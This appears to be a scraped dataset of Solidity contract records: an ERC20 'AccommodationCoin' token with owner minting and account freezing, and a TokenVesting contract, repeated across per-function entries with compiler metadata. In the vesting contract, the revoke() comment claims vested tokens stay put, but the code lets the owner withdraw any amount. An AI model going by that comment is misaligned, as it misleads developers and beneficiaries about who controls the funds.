TokenERC20
contract TokenERC20 { using SafeMath for uint256; // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check for overflows // Subtract from the sender balanceOf[_from] = balanceOf[_from].sub(_value); // Add the same to the recipient balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); } /** * Function to Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * function to Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } /** * function Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** *Function to Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender totalSupply = totalSupply.sub(_value); // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other ccount * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance allowance[_from][msg.sender] =allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance totalSupply = totalSupply.sub(_value); // Update totalSupply emit Burn(_from, _value); return true; } }
transfer
function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); }
/** * Function to Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://dcb301cadd4acfe89888fa0f0989633c4afef755aca4ee83ff04b7f1f2b6690b
{ "func_code_index": [ 1847, 1945 ] }
12,469
AccommodationCoin
AccommodationCoin.sol
0x952a6655d71a4a7b70cb36fd95317e8738d0afe5
Solidity
TokenERC20
contract TokenERC20 { using SafeMath for uint256; // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check for overflows // Subtract from the sender balanceOf[_from] = balanceOf[_from].sub(_value); // Add the same to the recipient balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); } /** * Function to Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * function to Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } /** * function Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** *Function to Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender totalSupply = totalSupply.sub(_value); // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other ccount * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance allowance[_from][msg.sender] =allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance totalSupply = totalSupply.sub(_value); // Update totalSupply emit Burn(_from, _value); return true; } }
transferFrom
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; }
/** * function to Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://dcb301cadd4acfe89888fa0f0989633c4afef755aca4ee83ff04b7f1f2b6690b
{ "func_code_index": [ 2188, 2415 ] }
12,470
AccommodationCoin
AccommodationCoin.sol
0x952a6655d71a4a7b70cb36fd95317e8738d0afe5
Solidity
TokenERC20
contract TokenERC20 { using SafeMath for uint256; // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check for overflows // Subtract from the sender balanceOf[_from] = balanceOf[_from].sub(_value); // Add the same to the recipient balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); } /** * Function to Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * function to Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } /** * function Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** *Function to Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender totalSupply = totalSupply.sub(_value); // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other ccount * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance allowance[_from][msg.sender] =allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance totalSupply = totalSupply.sub(_value); // Update totalSupply emit Burn(_from, _value); return true; } }
approve
function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; }
/** * function Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://dcb301cadd4acfe89888fa0f0989633c4afef755aca4ee83ff04b7f1f2b6690b
{ "func_code_index": [ 2649, 2796 ] }
12,471
AccommodationCoin
AccommodationCoin.sol
0x952a6655d71a4a7b70cb36fd95317e8738d0afe5
Solidity
TokenERC20
contract TokenERC20 { using SafeMath for uint256; // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check for overflows // Subtract from the sender balanceOf[_from] = balanceOf[_from].sub(_value); // Add the same to the recipient balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); } /** * Function to Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * function to Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } /** * function Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** *Function to Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender totalSupply = totalSupply.sub(_value); // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other ccount * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance allowance[_from][msg.sender] =allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance totalSupply = totalSupply.sub(_value); // Update totalSupply emit Burn(_from, _value); return true; } }
burn
function burn(uint256 _value) public returns (bool success) { balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender totalSupply = totalSupply.sub(_value); // Updates totalSupply emit Burn(msg.sender, _value); return true; }
/** *Function to Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://dcb301cadd4acfe89888fa0f0989633c4afef755aca4ee83ff04b7f1f2b6690b
{ "func_code_index": [ 2945, 3247 ] }
12,472
AccommodationCoin
AccommodationCoin.sol
0x952a6655d71a4a7b70cb36fd95317e8738d0afe5
Solidity
TokenERC20
contract TokenERC20 { using SafeMath for uint256; // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check for overflows // Subtract from the sender balanceOf[_from] = balanceOf[_from].sub(_value); // Add the same to the recipient balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); } /** * Function to Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * function to Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } /** * function Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** *Function to Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender totalSupply = totalSupply.sub(_value); // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other ccount * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance allowance[_from][msg.sender] =allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance totalSupply = totalSupply.sub(_value); // Update totalSupply emit Burn(_from, _value); return true; } }
burnFrom
function burnFrom(address _from, uint256 _value) public returns (bool success) { balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance allowance[_from][msg.sender] =allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance totalSupply = totalSupply.sub(_value); // Update totalSupply emit Burn(_from, _value); return true; }
/** * Destroy tokens from other ccount * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://dcb301cadd4acfe89888fa0f0989633c4afef755aca4ee83ff04b7f1f2b6690b
{ "func_code_index": [ 3469, 3932 ] }
12,473
AccommodationCoin
AccommodationCoin.sol
0x952a6655d71a4a7b70cb36fd95317e8738d0afe5
Solidity
AccommodationCoin
contract AccommodationCoin is owned, TokenERC20 { //Modify these variables uint256 _initialSupply=100000000; string _tokenName="Accommodation Coin"; string _tokenSymbol="ACC"; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ function AccommodationCoin( ) TokenERC20(_initialSupply, _tokenName, _tokenSymbol) public {} /* Internal transfer, only can be called by this contract. */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient emit Transfer(_from, _to, _value); } /// function to create more coins and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] = balanceOf[target].add(mintedAmount); totalSupply = totalSupply.add(mintedAmount); emit Transfer(0, this, mintedAmount); emit Transfer(this, target, mintedAmount); } function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } }
/******************************************/
NatSpecMultiLine
AccommodationCoin
function AccommodationCoin( ) TokenERC20(_initialSupply, _tokenName, _tokenSymbol) public {}
/* Initializes contract with initial supply tokens to the creator of the contract */
Comment
v0.4.24+commit.e67f0147
bzzr://dcb301cadd4acfe89888fa0f0989633c4afef755aca4ee83ff04b7f1f2b6690b
{ "func_code_index": [ 473, 568 ] }
12,474
AccommodationCoin
AccommodationCoin.sol
0x952a6655d71a4a7b70cb36fd95317e8738d0afe5
Solidity
AccommodationCoin
contract AccommodationCoin is owned, TokenERC20 { //Modify these variables uint256 _initialSupply=100000000; string _tokenName="Accommodation Coin"; string _tokenSymbol="ACC"; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ function AccommodationCoin( ) TokenERC20(_initialSupply, _tokenName, _tokenSymbol) public {} /* Internal transfer, only can be called by this contract. */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient emit Transfer(_from, _to, _value); } /// function to create more coins and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] = balanceOf[target].add(mintedAmount); totalSupply = totalSupply.add(mintedAmount); emit Transfer(0, this, mintedAmount); emit Transfer(this, target, mintedAmount); } function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } }
/******************************************/
NatSpecMultiLine
_transfer
function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient emit Transfer(_from, _to, _value); }
/* Internal transfer, only can be called by this contract. */
Comment
v0.4.24+commit.e67f0147
bzzr://dcb301cadd4acfe89888fa0f0989633c4afef755aca4ee83ff04b7f1f2b6690b
{ "func_code_index": [ 636, 1256 ] }
12,475
AccommodationCoin
AccommodationCoin.sol
0x952a6655d71a4a7b70cb36fd95317e8738d0afe5
Solidity
AccommodationCoin
contract AccommodationCoin is owned, TokenERC20 { //Modify these variables uint256 _initialSupply=100000000; string _tokenName="Accommodation Coin"; string _tokenSymbol="ACC"; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ function AccommodationCoin( ) TokenERC20(_initialSupply, _tokenName, _tokenSymbol) public {} /* Internal transfer, only can be called by this contract. */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient emit Transfer(_from, _to, _value); } /// function to create more coins and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] = balanceOf[target].add(mintedAmount); totalSupply = totalSupply.add(mintedAmount); emit Transfer(0, this, mintedAmount); emit Transfer(this, target, mintedAmount); } function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } }
/******************************************/
NatSpecMultiLine
mintToken
function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] = balanceOf[target].add(mintedAmount); totalSupply = totalSupply.add(mintedAmount); emit Transfer(0, this, mintedAmount); emit Transfer(this, target, mintedAmount); }
/// function to create more coins and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive
NatSpecSingleLine
v0.4.24+commit.e67f0147
bzzr://dcb301cadd4acfe89888fa0f0989633c4afef755aca4ee83ff04b7f1f2b6690b
{ "func_code_index": [ 1435, 1721 ] }
12,476
TokenVesting
TokenVesting.sol
0xb8ccbbbc73fc463f10b138a81f28b24e0e41d697
Solidity
TokenVesting
contract TokenVesting is Ownable { // The vesting schedule is time-based (i.e. using block timestamps as opposed to e.g. block numbers), and is // therefore sensitive to timestamp manipulation (which is something miners can do, to a certain degree). Therefore, // it is recommended to avoid using short time durations (less than a minute). Typical vesting schemes, with a // cliff period of a year and a duration of four years, are safe to use. // solhint-disable not-rely-on-time using SafeMath for uint256; using SafeERC20 for IERC20; event TokensReleased(address token, uint256 amount); // The token being vested IERC20 public _token; // beneficiary of tokens after they are released address private _beneficiary; // Durations and timestamps are expressed in UNIX time, the same units as block.timestamp. uint256 private _start; uint256 private _released = 0; uint256 private _amount = 0; uint256[] private _schedule; uint256[] private _percent; /** * @dev Creates a vesting contract that vests its balance of any ERC20 token to the * beneficiary, gradually in a linear fashion until start + duration. By then all * of the balance will have vested. * @param token ERC20 token which is being vested * @param beneficiary address of the beneficiary to whom vested tokens are transferred * @param amount Amount of tokens being vested * @param schedule array of the timestamps (as Unix time) at which point vesting starts * @param percent array of the percents which can be released at which vesting points */ constructor (IERC20 token, address beneficiary, uint256 amount, uint256[] memory schedule, uint256[] memory percent) public { require(beneficiary != address(0), "TokenVesting: beneficiary is the zero address"); require(schedule.length == percent.length, "TokenVesting: Incorrect release schedule"); require(schedule.length <= 255); _token = token; _beneficiary = beneficiary; _amount = amount; _schedule = schedule; _percent = percent; } /** * @return the beneficiary of the tokens. */ function beneficiary() public view returns (address) { return _beneficiary; } /** * @return the start time of the token vesting. */ function totalAmount() public view returns (uint256) { return _amount; } /** * @return the amount of the token released. */ function released() public view returns (uint256) { return _released; } /** * @return the vested amount of the token for a particular timestamp. */ function vestedAmount(uint256 ts) public view returns (uint256) { int8 unreleasedIdx = _releasableIdx(ts); if (unreleasedIdx >= 0) { return _amount.mul(_percent[uint(unreleasedIdx)]).div(100); } else { return 0; } } /** * @notice Allows the owner to revoke the vesting. Tokens already vested * remain in the contract, the rest are returned to the owner. */ function revoke(uint256 amount) public onlyOwner { _token.safeTransfer(owner(), amount); } /** * @notice Transfers vested tokens to beneficiary. */ function release() public { int8 unreleasedIdx = _releasableIdx(block.timestamp); require(unreleasedIdx >= 0, "TokenVesting: no tokens are due"); uint256 unreleasedAmount = _amount.mul(_percent[uint(unreleasedIdx)]).div(100); _token.safeTransfer(_beneficiary, unreleasedAmount); _percent[uint(unreleasedIdx)] = 0; _released = _released.add(unreleasedAmount); emit TokensReleased(address(_token), unreleasedAmount); } /** * @dev Calculates the index that has already vested but hasn't been released yet. */ function _releasableIdx(uint256 ts) private view returns (int8) { for (uint8 i = 0; i < _schedule.length; i++) { if (ts > _schedule[i] && _percent[i] > 0) { return int8(i); } } return -1; } }
/** * @title PartnersVesting * @dev A token holder contract that can release its token balance gradually at different vesting points */
NatSpecMultiLine
beneficiary
function beneficiary() public view returns (address) { return _beneficiary; }
/** * @return the beneficiary of the tokens. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://f0d1f65a586b6de702c6f6003083bf1f4f66d25fe5fa132e4fbe25feb66b072b
{ "func_code_index": [ 2220, 2313 ] }
12,477
TokenVesting
TokenVesting.sol
0xb8ccbbbc73fc463f10b138a81f28b24e0e41d697
Solidity
TokenVesting
contract TokenVesting is Ownable { // The vesting schedule is time-based (i.e. using block timestamps as opposed to e.g. block numbers), and is // therefore sensitive to timestamp manipulation (which is something miners can do, to a certain degree). Therefore, // it is recommended to avoid using short time durations (less than a minute). Typical vesting schemes, with a // cliff period of a year and a duration of four years, are safe to use. // solhint-disable not-rely-on-time using SafeMath for uint256; using SafeERC20 for IERC20; event TokensReleased(address token, uint256 amount); // The token being vested IERC20 public _token; // beneficiary of tokens after they are released address private _beneficiary; // Durations and timestamps are expressed in UNIX time, the same units as block.timestamp. uint256 private _start; uint256 private _released = 0; uint256 private _amount = 0; uint256[] private _schedule; uint256[] private _percent; /** * @dev Creates a vesting contract that vests its balance of any ERC20 token to the * beneficiary, gradually in a linear fashion until start + duration. By then all * of the balance will have vested. * @param token ERC20 token which is being vested * @param beneficiary address of the beneficiary to whom vested tokens are transferred * @param amount Amount of tokens being vested * @param schedule array of the timestamps (as Unix time) at which point vesting starts * @param percent array of the percents which can be released at which vesting points */ constructor (IERC20 token, address beneficiary, uint256 amount, uint256[] memory schedule, uint256[] memory percent) public { require(beneficiary != address(0), "TokenVesting: beneficiary is the zero address"); require(schedule.length == percent.length, "TokenVesting: Incorrect release schedule"); require(schedule.length <= 255); _token = token; _beneficiary = beneficiary; _amount = amount; _schedule = schedule; _percent = percent; } /** * @return the beneficiary of the tokens. */ function beneficiary() public view returns (address) { return _beneficiary; } /** * @return the start time of the token vesting. */ function totalAmount() public view returns (uint256) { return _amount; } /** * @return the amount of the token released. */ function released() public view returns (uint256) { return _released; } /** * @return the vested amount of the token for a particular timestamp. */ function vestedAmount(uint256 ts) public view returns (uint256) { int8 unreleasedIdx = _releasableIdx(ts); if (unreleasedIdx >= 0) { return _amount.mul(_percent[uint(unreleasedIdx)]).div(100); } else { return 0; } } /** * @notice Allows the owner to revoke the vesting. Tokens already vested * remain in the contract, the rest are returned to the owner. */ function revoke(uint256 amount) public onlyOwner { _token.safeTransfer(owner(), amount); } /** * @notice Transfers vested tokens to beneficiary. */ function release() public { int8 unreleasedIdx = _releasableIdx(block.timestamp); require(unreleasedIdx >= 0, "TokenVesting: no tokens are due"); uint256 unreleasedAmount = _amount.mul(_percent[uint(unreleasedIdx)]).div(100); _token.safeTransfer(_beneficiary, unreleasedAmount); _percent[uint(unreleasedIdx)] = 0; _released = _released.add(unreleasedAmount); emit TokensReleased(address(_token), unreleasedAmount); } /** * @dev Calculates the index that has already vested but hasn't been released yet. */ function _releasableIdx(uint256 ts) private view returns (int8) { for (uint8 i = 0; i < _schedule.length; i++) { if (ts > _schedule[i] && _percent[i] > 0) { return int8(i); } } return -1; } }
/** * @title PartnersVesting * @dev A token holder contract that can release its token balance gradually at different vesting points */
NatSpecMultiLine
totalAmount
function totalAmount() public view returns (uint256) { return _amount; }
/** * @return the start time of the token vesting. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://f0d1f65a586b6de702c6f6003083bf1f4f66d25fe5fa132e4fbe25feb66b072b
{ "func_code_index": [ 2383, 2471 ] }
12,478
TokenVesting
TokenVesting.sol
0xb8ccbbbc73fc463f10b138a81f28b24e0e41d697
Solidity
TokenVesting
contract TokenVesting is Ownable { // The vesting schedule is time-based (i.e. using block timestamps as opposed to e.g. block numbers), and is // therefore sensitive to timestamp manipulation (which is something miners can do, to a certain degree). Therefore, // it is recommended to avoid using short time durations (less than a minute). Typical vesting schemes, with a // cliff period of a year and a duration of four years, are safe to use. // solhint-disable not-rely-on-time using SafeMath for uint256; using SafeERC20 for IERC20; event TokensReleased(address token, uint256 amount); // The token being vested IERC20 public _token; // beneficiary of tokens after they are released address private _beneficiary; // Durations and timestamps are expressed in UNIX time, the same units as block.timestamp. uint256 private _start; uint256 private _released = 0; uint256 private _amount = 0; uint256[] private _schedule; uint256[] private _percent; /** * @dev Creates a vesting contract that vests its balance of any ERC20 token to the * beneficiary, gradually in a linear fashion until start + duration. By then all * of the balance will have vested. * @param token ERC20 token which is being vested * @param beneficiary address of the beneficiary to whom vested tokens are transferred * @param amount Amount of tokens being vested * @param schedule array of the timestamps (as Unix time) at which point vesting starts * @param percent array of the percents which can be released at which vesting points */ constructor (IERC20 token, address beneficiary, uint256 amount, uint256[] memory schedule, uint256[] memory percent) public { require(beneficiary != address(0), "TokenVesting: beneficiary is the zero address"); require(schedule.length == percent.length, "TokenVesting: Incorrect release schedule"); require(schedule.length <= 255); _token = token; _beneficiary = beneficiary; _amount = amount; _schedule = schedule; _percent = percent; } /** * @return the beneficiary of the tokens. */ function beneficiary() public view returns (address) { return _beneficiary; } /** * @return the start time of the token vesting. */ function totalAmount() public view returns (uint256) { return _amount; } /** * @return the amount of the token released. */ function released() public view returns (uint256) { return _released; } /** * @return the vested amount of the token for a particular timestamp. */ function vestedAmount(uint256 ts) public view returns (uint256) { int8 unreleasedIdx = _releasableIdx(ts); if 